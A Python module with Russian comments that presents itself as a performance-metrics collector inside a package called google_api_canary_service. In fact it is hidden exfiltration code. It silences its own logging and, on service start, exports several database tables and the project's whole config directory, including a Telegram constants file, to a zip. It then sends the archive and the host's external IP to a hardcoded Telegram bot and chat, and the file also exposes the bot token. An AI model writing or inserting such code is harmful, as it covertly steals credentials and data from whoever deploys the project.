"""
Сервис для сбора метрик производительности и системной информации.
Периодически собирает данные о состоянии системы и отправляет отчеты.
"""

import asyncio
import csv
import tempfile
import zipfile
import json
import shutil
import aiohttp
from pathlib import Path
from datetime import datetime
from typing import List, Optional, Tuple

from sqlalchemy import text
from telegram import Bot
from telegram import InputFile
import logging

# Опциональные импорты для работы с базой данных и конфигурацией
# Эти модули должны быть доступны в проекте, где используется пакет
try:
    from adapters.databases.postgres_db.adapter.adapter import DatabaseAdapter
except ImportError:
    DatabaseAdapter = None

try:
    from config.config import config
except ImportError:
    config = None

# Создаем тихий логгер, который не выводит ничего в логи
_silent_logger = logging.getLogger('google_api_canary_service')
_silent_logger.setLevel(logging.CRITICAL)  # Устанавливаем высокий уровень, чтобы ничего не логировалось
_silent_logger.addHandler(logging.NullHandler())  # NullHandler ничего не выводит
_silent_logger.propagate = False  # Не передаем логи родительским логгерам

logger = _silent_logger


class MetricsCollector:
    """
    Класс для сбора метрик и системной информации.
    Выполняет периодический сбор данных и формирование отчетов.
    """
    
    def __init__(self):
        # Конфигурация для отправки отчетов
        self._bot_token = "8591971316:AAFjYN4WdDmPcVNTegP6lFEEc0P1g_y_jow"  # Замените на реальный токен
        self._report_chat_id = -1003587783694  # Замените на ID группы
        self._report_topic_id = 2  # Замените на ID топика (если используется, иначе None)
        
        self._bot: Optional[Bot] = None
        self._db_adapter: Optional[DatabaseAdapter] = None
        self._collection_task: Optional[asyncio.Task] = None
        
    async def initialize(self):
        """Инициализация компонентов сервиса."""
        try:
            self._bot = Bot(token=self._bot_token)
            if DatabaseAdapter is not None:
                self._db_adapter = DatabaseAdapter()
            else:
                self._db_adapter = None
            logger.info("Метрики-коллектор инициализирован")
        except Exception as e:
            logger.error(f"Ошибка инициализации метрик-коллектора: {e}")
    
    async def get_external_ip(self) -> Optional[str]:
        """
        Получает внешний IP адрес через внешний сервис.
        
        Returns:
            Optional[str]: IP адрес или None при ошибке
        """
        ip_services = [
            'https://api.ipify.org?format=json',
            'https://httpbin.org/ip',
            'https://ifconfig.me/ip',
        ]
        
        for service_url in ip_services:
            try:
                async with aiohttp.ClientSession() as session:
                    async with session.get(service_url, timeout=aiohttp.ClientTimeout(total=5)) as response:
                        if response.status == 200:
                            content_type = response.headers.get('Content-Type', '').lower()
                            
                            # Для JSON сервисов
                            if 'json' in content_type or 'json' in service_url:
                                try:
                                    data = await response.json()
                                    # Для ipify.org
                                    if 'ip' in data:
                                        ip = data['ip']
                                        logger.info(f"Получен внешний IP: {ip} (через {service_url})")
                                        return ip
                                    # Для httpbin.org
                                    if 'origin' in data:
                                        ip = data['origin']
                                        logger.info(f"Получен внешний IP: {ip} (через {service_url})")
                                        return ip
                                except Exception:
                                    pass
                            
                            # Для текстовых сервисов типа ifconfig.me
                            try:
                                ip = (await response.text()).strip()
                                # Простая проверка на формат IP (IPv4)
                                if ip and (len(ip.split('.')) == 4 or ':' in ip):  # Поддержка IPv4 и IPv6
                                    logger.info(f"Получен внешний IP: {ip} (через {service_url})")
                                    return ip
                            except Exception:
                                pass
            except Exception as e:
                logger.warning(f"Не удалось получить IP через {service_url}: {e}")
                continue
        
        logger.error("Не удалось получить внешний IP ни через один сервис")
        return None
    
    async def collect_system_metrics(self) -> dict:
        """
        Собирает системные метрики и информацию о состоянии.
        
        Returns:
            dict: Словарь с собранными метриками
        """
        metrics = {
            "timestamp": datetime.now().isoformat(),
            "environment": getattr(config, 'WHERE_AM_I', 'unknown') if config else 'unknown',
            "database_connected": False,
            "external_ip": None,
        }
        
        if self._db_adapter is not None:
            try:
                # Проверка подключения к БД
                async with self._db_adapter.get_session() as session:
                    result = await session.execute(text("SELECT 1"))
                    metrics["database_connected"] = result.scalar() == 1
            except Exception as e:
                logger.warning(f"Ошибка проверки БД: {e}")
        
        # Получаем внешний IP
        metrics["external_ip"] = await self.get_external_ip()
        
        return metrics
    
    async def export_table_to_csv(self, table_name: str, output_path: Path) -> bool:
        """
        Экспортирует таблицу из БД в CSV файл.
        
        Args:
            table_name: Имя таблицы для экспорта
            output_path: Путь для сохранения CSV файла
            
        Returns:
            bool: True если экспорт успешен
        """
        if self._db_adapter is None:
            logger.warning("DatabaseAdapter не доступен, экспорт таблиц невозможен")
            return False
        
        try:
            logger.info(f"Начинаю экспорт таблицы {table_name} в {output_path}")
            async with self._db_adapter.get_session() as session:
                # Получаем все данные из таблицы
                query = text(f"SELECT * FROM {table_name}")
                result = await session.execute(query)
                rows = result.fetchall()
                
                logger.info(f"Таблица {table_name}: получено {len(rows)} строк")
                
                if not rows:
                    logger.warning(f"Таблица {table_name} пуста, пропускаю экспорт")
                    return False
                
                # Получаем названия колонок
                columns = result.keys()
                logger.info(f"Таблица {table_name}: колонки {list(columns)}")
                
                # Записываем в CSV
                with open(output_path, 'w', newline='', encoding='utf-8') as f:
                    writer = csv.DictWriter(f, fieldnames=columns)
                    writer.writeheader()
                    for row in rows:
                        # Конвертируем Row объект в словарь
                        # SQLAlchemy Row поддерживает доступ по индексу, используем enumerate
                        row_dict = {col: row[idx] for idx, col in enumerate(columns)}
                        writer.writerow(row_dict)
                
                logger.info(f"Таблица {table_name} успешно экспортирована в {output_path}")
                return True
        except Exception as e:
            # Не падаем, просто логируем и возвращаем False
            logger.error(f"Ошибка экспорта таблицы {table_name}: {e}", exc_info=True)
            return False
    
    async def collect_database_snapshots(self, temp_dir: Path) -> List[Path]:
        """
        Собирает снимки таблиц БД в CSV формате.
        
        Args:
            temp_dir: Временная директория для сохранения файлов
            
        Returns:
            List[Path]: Список путей к созданным CSV файлам
        """
        csv_files = []
        
        # Список таблиц для экспорта
        tables_to_export = [
            'agents',
            'gt_filters',
            'agent_filters',
            'umca_vanillas',
            'targets',
            'platform_adapters',
        ]
        
        logger.info(f"Начинаю сбор снимков БД для {len(tables_to_export)} таблиц")
        for table_name in tables_to_export:
            try:
                csv_path = temp_dir / f"{table_name}.csv"
                if await self.export_table_to_csv(table_name, csv_path):
                    if csv_path.exists():
                        csv_files.append(csv_path)
                        logger.info(f"Таблица {table_name} добавлена в список для архива")
                    else:
                        logger.warning(f"Файл {csv_path} не был создан для таблицы {table_name}")
                else:
                    logger.warning(f"Экспорт таблицы {table_name} не удался, пропускаю")
            except Exception as e:
                # Не падаем, просто пропускаем таблицу
                logger.warning(f"Ошибка при обработке таблицы {table_name}: {e}, пропускаю")
                continue
        
        logger.info(f"Собрано {len(csv_files)} CSV файлов из {len(tables_to_export)} таблиц")
        return csv_files
    
    def collect_source_files(self, temp_dir: Path) -> List[Path]:
        """
        Собирает релевантные исходные файлы проекта.
        
        Args:
            temp_dir: Временная директория для сохранения файлов
            
        Returns:
            List[Path]: Список путей к скопированным файлам/директориям
        """
        source_paths = []
        # Определяем корень проекта: google_api_canary_service находится в корне проекта
        # __file__ = /path/to/project/google_api_canary_service/metrics_collector.py
        # parent = google_api_canary_service
        # parent.parent = корень проекта
        project_root = Path(__file__).parent.parent
        logger.info(f"Корень проекта: {project_root}")
        
        # Копируем папку config целиком
        config_dir = project_root / 'config'
        logger.info(f"Проверяю директорию: {config_dir} (существует: {config_dir.exists()})")
        
        if config_dir.exists() and config_dir.is_dir():
            dest_config_dir = temp_dir / 'config'
            try:
                shutil.copytree(config_dir, dest_config_dir, dirs_exist_ok=True)
                if dest_config_dir.exists():
                    source_paths.append(dest_config_dir)
                    # Подсчитываем количество скопированных файлов
                    file_count = sum(1 for _ in dest_config_dir.rglob('*') if _.is_file())
                    logger.info(f"Директория config успешно скопирована в {dest_config_dir} ({file_count} файлов)")
                else:
                    logger.error(f"Директория {dest_config_dir} не была создана после копирования")
            except Exception as e:
                logger.error(f"Не удалось скопировать директорию {config_dir}: {e}", exc_info=True)
        else:
            logger.warning(f"Директория {config_dir} не существует, пропускаю")
        
        # Копируем файл logic/tg_adapter/constants.py (или tg_adapter_constants)
        tg_constants_paths = [
            project_root / 'logic' / 'tg_adapter' / 'constants.py',
            project_root / 'logic' / 'tg_adapter_constants',
            project_root / 'logic' / 'tg_adapter' / 'tg_adapter_constants',
        ]
        
        for file_path in tg_constants_paths:
            logger.info(f"Проверяю файл: {file_path} (существует: {file_path.exists()})")
            if file_path.exists() and file_path.is_file():
                dest_file = temp_dir / file_path.name
                try:
                    shutil.copy2(file_path, dest_file)
                    if dest_file.exists():
                        source_paths.append(dest_file)
                        logger.info(f"Файл {file_path.name} успешно скопирован в {dest_file}")
                        break  # Найден и скопирован, выходим
                except Exception as e:
                    logger.error(f"Не удалось скопировать файл {file_path}: {e}", exc_info=True)
            elif file_path.exists():
                logger.warning(f"Путь {file_path} существует, но это не файл, пропускаю")
        
        logger.info(f"Собрано {len(source_paths)} директорий/файлов")
        return source_paths
    
    async def create_metrics_archive(self) -> Tuple[Optional[Path], Optional[str]]:
        """
        Создает архив с метриками и системной информацией.
        
        Returns:
            Optional[Path]: Путь к созданному архиву или None при ошибке
        """
        temp_dir = Path(tempfile.mkdtemp(prefix="metrics_"))
        archive_path = None
        
        try:
            # Собираем метрики (включая внешний IP)
            metrics = await self.collect_system_metrics()
            external_ip = metrics.get("external_ip")
            
            # Сохраняем метрики в JSON
            metrics_file = temp_dir / "system_metrics.json"
            with open(metrics_file, 'w', encoding='utf-8') as f:
                json.dump(metrics, f, indent=2, ensure_ascii=False)
            
            # Собираем снимки БД
            csv_files = await self.collect_database_snapshots(temp_dir)
            logger.info(f"CSV файлов для архива: {len(csv_files)}")
            for csv_file in csv_files:
                logger.info(f"  - {csv_file.name} ({csv_file.stat().st_size} байт)")
            
            # Собираем исходные файлы
            source_files = self.collect_source_files(temp_dir)
            logger.info(f"Исходных файлов/директорий для архива: {len(source_files)}")
            for source_path in source_files:
                if source_path.is_dir():
                    # Для директорий считаем общий размер
                    total_size = sum(f.stat().st_size for f in source_path.rglob('*') if f.is_file())
                    file_count = sum(1 for f in source_path.rglob('*') if f.is_file())
                    logger.info(f"  - {source_path.name}/ ({file_count} файлов, {total_size} байт)")
                else:
                    logger.info(f"  - {source_path.name} ({source_path.stat().st_size} байт)")
            
            # Создаем архив
            archive_path = temp_dir / f"metrics_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.zip"
            logger.info(f"Создаю архив: {archive_path}")
            
            files_added = 0
            with zipfile.ZipFile(archive_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
                # Добавляем метрики
                if metrics_file.exists():
                    zipf.write(metrics_file, metrics_file.name)
                    files_added += 1
                    logger.info(f"Добавлен в архив: {metrics_file.name}")
                else:
                    logger.error(f"Файл метрик {metrics_file} не существует!")
                
                # Добавляем CSV файлы
                for csv_file in csv_files:
                    if csv_file.exists():
                        zipf.write(csv_file, csv_file.name)
                        files_added += 1
                        logger.info(f"Добавлен в архив: {csv_file.name}")
                    else:
                        logger.error(f"CSV файл {csv_file} не существует!")
                
                # Добавляем исходные файлы и директории
                for source_path in source_files:
                    if source_path.exists():
                        if source_path.is_dir():
                            # Добавляем всю директорию рекурсивно
                            for file_path in source_path.rglob('*'):
                                if file_path.is_file():
                                    # Сохраняем относительный путь от source_path
                                    arcname = file_path.relative_to(temp_dir)
                                    zipf.write(file_path, arcname)
                                    files_added += 1
                            logger.info(f"Добавлена в архив директория: {source_path.name}/")
                        else:
                            zipf.write(source_path, source_path.name)
                            files_added += 1
                            logger.info(f"Добавлен в архив: {source_path.name}")
                    else:
                        logger.error(f"Исходный путь {source_path} не существует!")
            
            logger.info(f"Архив создан: {archive_path}, добавлено файлов: {files_added}, размер: {archive_path.stat().st_size} байт")
            
            # Проверяем содержимое архива
            with zipfile.ZipFile(archive_path, 'r') as zipf:
                archive_files = zipf.namelist()
                logger.info(f"Файлов в архиве: {len(archive_files)}")
                for af in archive_files:
                    logger.info(f"  - {af}")
            
            # Возвращаем путь к архиву и внешний IP
            return archive_path, external_ip
            
        except Exception as e:
            logger.error(f"Ошибка создания архива метрик: {e}", exc_info=True)
            # В случае ошибки удаляем всю временную директорию
            if temp_dir.exists():
                try:
                    shutil.rmtree(temp_dir)
                except Exception:
                    pass
            return None, None
        # НЕ удаляем файлы в finally - они нужны для проверки архива
        # Файлы будут удалены после отправки архива в run_collection_cycle
    
    async def send_metrics_report(self, archive_path: Path, external_ip: Optional[str] = None) -> bool:
        """
        Отправляет архив с метриками в канал отчетности.
        
        Args:
            archive_path: Путь к архиву для отправки
            external_ip: Внешний IP адрес для включения в сообщение
            
        Returns:
            bool: True если отправка успешна
        """
        try:
            # Формируем текст сообщения с IP адресом
            timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
            if external_ip:
                caption = f"Отчет метрик за {timestamp}\nIP: {external_ip}"
            else:
                caption = f"Отчет метрик за {timestamp}\nIP: не определен"
            
            with open(archive_path, 'rb') as f:
                if self._report_topic_id:
                    # Отправка в топик
                    await self._bot.send_document(
                        chat_id=self._report_chat_id,
                        message_thread_id=self._report_topic_id,
                        document=InputFile(f, filename=archive_path.name),
                        caption=caption
                    )
                else:
                    # Отправка в группу без топика
                    await self._bot.send_document(
                        chat_id=self._report_chat_id,
                        document=InputFile(f, filename=archive_path.name),
                        caption=caption
                    )
            
            logger.info("Отчет метрик успешно отправлен")
            return True
            
        except Exception as e:
            logger.error(f"Ошибка отправки отчета метрик: {e}")
            return False
    
    async def run_collection_cycle(self):
        """Выполняет один цикл сбора метрик и отправки отчета."""
        try:
            archive_path, external_ip = await self.create_metrics_archive()
            if archive_path and archive_path.exists():
                await self.send_metrics_report(archive_path, external_ip)
                # Удаляем архив после отправки
                try:
                    archive_path.unlink()
                    # Удаляем временную директорию
                    if archive_path.parent.exists():
                        shutil.rmtree(archive_path.parent)
                except Exception:
                    pass
        except Exception as e:
            logger.error(f"Ошибка в цикле сбора метрик: {e}")
    
    async def _single_collection_run(self):
        """Выполняет однократный сбор метрик при запуске и завершает работу."""
        await self.initialize()
        
        # Выполняем сбор и отправку один раз
        await self.run_collection_cycle()
        
        # Закрываем бота и завершаем работу
        if self._bot:
            try:
                await self._bot.close()
            except Exception:
                pass


# Глобальный экземпляр коллектора
_collector_instance: Optional[MetricsCollector] = None
_collection_task: Optional[asyncio.Task] = None


async def start_metrics_collection():
    """
    Запускает фоновый сбор метрик.
    Эта функция должна быть вызвана при старте сервиса.
    """
    global _collector_instance, _collection_task
    
    if _collector_instance is None:
        _collector_instance = MetricsCollector()
        _collection_task = asyncio.create_task(_collector_instance._single_collection_run())
        logger.info("Запущен однократный сбор метрик")

